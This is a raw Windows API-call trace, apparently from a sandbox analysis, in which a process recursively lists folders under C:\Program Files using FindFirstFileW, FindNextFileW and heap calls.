ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x870ca400, ftLastWriteTime.dwHighDateTime=0x1cac036, nFileSizeHigh=0x0, nFileSizeLow=0x296a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPEXT.MSG", cAlternateFileName="")) returned 0 [0170.777] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0170.777] GetProcessHeap () returned 0x6a0000 [0170.777] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0170.777] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c366f00, ftCreationTime.dwHighDateTime=0x1cac0be, ftLastAccessTime.dwLowDateTime=0x6193ae30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3c366f00, ftLastWriteTime.dwHighDateTime=0x1cac0be, nFileSizeHigh=0x0, nFileSizeLow=0x267d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPSRVUTL.DLL", cAlternateFileName="")) returned 1 [0170.778] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 1 [0170.778] FindNextFileW (in: hFindFile=0x3722548, lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1da56400, ftCreationTime.dwHighDateTime=0x1cb71c7, ftLastAccessTime.dwLowDateTime=0xdb7fce60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1da56400, ftLastWriteTime.dwHighDateTime=0x1cb71c7, nFileSizeHigh=0x0, nFileSizeLow=0x14cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="FPWEC.DLL", cAlternateFileName="")) returned 0 [0170.778] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.778] GetProcessHeap () returned 0x6a0000 [0170.778] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0170.778] FindNextFileW (in: hFindFile=0x3722588, lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xdb7d6d00, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xdb7d6d00, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0 [0170.778] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.778] GetProcessHeap () returned 0x6a0000 [0170.778] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.778] FindNextFileW (in: hFindFile=0x3722648, lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="14", cAlternateFileName="")) returned 0 [0170.778] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.778] GetProcessHeap () returned 0x6a0000 [0170.778] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.780] FindNextFileW (in: hFindFile=0x794e30, lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeedaa970, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeedaa970, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeedaa970, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0 [0170.780] FindClose (in: hFindFile=0x794e30 | out: hFindFile=0x794e30) returned 1 [0170.780] GetProcessHeap () returned 0x6a0000 [0170.780] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0170.781] FindNextFileW (in: hFindFile=0x794df0, lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0170.781] GetProcessHeap () returned 0x6a0000 [0170.781] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10000) returned 0x3777578 [0170.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Services\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.781] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.782] GetProcessHeap () returned 0x6a0000 [0170.782] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0170.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0170.782] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd85ef28, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0170.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\*", lpFindFileData=0x2e6e988 | out: lpFindFileData=0x2e6e988*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0170.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US\\enu-dsk\\*", lpFindFileData=0x2e6e700 | out: lpFindFileData=0x2e6e700*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd85ef28, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd64fa49b, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722608 [0170.783] FindClose (in: hFindFile=0x3722608 | out: hFindFile=0x3722608) returned 1 [0170.783] GetProcessHeap () returned 0x6a0000 [0170.783] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0170.783] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0170.783] GetProcessHeap () returned 0x6a0000 [0170.783] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36e0500 | out: hHeap=0x6a0000) returned 1 [0170.783] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0170.783] GetProcessHeap () returned 0x6a0000 [0170.784] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0170.784] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0170.784] GetProcessHeap () returned 0x6a0000 [0170.784] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0170.785] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0170.785] GetProcessHeap () returned 0x6a0000 [0170.786] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0170.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0171.067] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd85ef28, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0171.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\ado\\en-US\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722548 [0171.069] FindClose (in: hFindFile=0x3722548 | out: hFindFile=0x3722548) returned 1 [0171.069] GetProcessHeap () returned 0x6a0000 [0171.069] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0171.069] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0171.069] GetProcessHeap () returned 0x6a0000 [0171.069] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0171.069] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\en-US\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0171.070] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0171.070] GetProcessHeap () returned 0x6a0000 [0171.070] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0171.070] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1eab37af, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0171.072] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\msadc\\en-US\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0171.075] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0171.076] GetProcessHeap () returned 0x6a0000 [0171.076] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x379d598 | out: hHeap=0x6a0000) returned 1 [0171.076] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0171.076] GetProcessHeap () returned 0x6a0000 [0171.077] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0171.077] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0171.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\MSMAPI\\1033\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf53e90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf53e90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0171.078] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0171.078] GetProcessHeap () returned 0x6a0000 [0171.078] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0171.078] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0171.078] GetProcessHeap () returned 0x6a0000 [0171.078] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0171.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd885082, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x5f324e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f324e30, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0171.080] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\System\\Ole DB\\en-US\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1eab37af, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x23ef19fc, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0171.080] FindClose (in: hFindFile=0x37225c8 | out: hFindFile=0x37225c8) returned 1 [0171.081] GetProcessHeap () returned 0x6a0000 [0171.081] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0171.081] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0171.081] GetProcessHeap () returned 0x6a0000 [0171.081] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3b10048 | out: hHeap=0x6a0000) returned 1 [0171.081] FindClose (in: hFindFile=0x3722648 | out: hFindFile=0x3722648) returned 1 [0171.081] GetProcessHeap () returned 0x6a0000 [0171.081] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0171.081] FindClose (in: hFindFile=0x794df0 | out: hFindFile=0x794df0) returned 1 [0171.081] GetProcessHeap () returned 0x6a0000 [0171.081] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36d04f8 | out: hHeap=0x6a0000) returned 1 [0171.083] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\*", lpFindFileData=0x2e6f3a8 | out: lpFindFileData=0x2e6f3a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xdb2dec20, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdb2dec20, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722648 [0171.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\en-US\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ead9a68, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xaa276ca7, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f05f082, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0171.087] FindClose (in: hFindFile=0x3722588 | out: hFindFile=0x3722588) returned 1 [0171.087] GetProcessHeap () returned 0x6a0000 [0171.087] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x3777578 | out: hHeap=0x6a0000) returned 1 [0171.087] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\*", lpFindFileData=0x2e6f120 | out: lpFindFileData=0x2e6f120*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80046d91, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x9f0852f1, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f0852f1, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722588 [0171.089] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\*", lpFindFileData=0x2e6ee98 | out: lpFindFileData=0x2e6ee98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f0852f1, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaabb4389, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1ad8615, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37225c8 [0171.096] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyBoy\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f9e8c42, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7d4443, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9fbd8be5, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0171.100] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0171.101] GetProcessHeap () returned 0x6a0000 [0171.101] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0171.101] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\BabyGirl\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa12338ef, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaab67eab, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa15a10e8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722688 [0171.103] FindClose (in: hFindFile=0x3722688 | out: hFindFile=0x3722688) returned 1 [0171.104] GetProcessHeap () returned 0x6a0000 [0171.104] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0171.104] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\FlipPage\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f43efc8, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa7fa6b2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f465237, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0171.495] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0171.497] GetProcessHeap () returned 0x6a0000 [0171.497] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0171.497] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Full\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1a3fc59, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa63097e, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa1a65ec8, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3722708 [0171.808] FindClose (in: hFindFile=0x3722708 | out: hFindFile=0x3722708) returned 1 [0171.809] GetProcessHeap () returned 0x6a0000 [0171.809] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x36f0508 | out: hHeap=0x6a0000) returned 1 [0171.809] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\HueCycle\\*", lpFindFileData=0x2e6ec10 | out: lpFindFileData=0x2e6ec10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fd11ff, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa787f65, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa108fe2a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37226c8 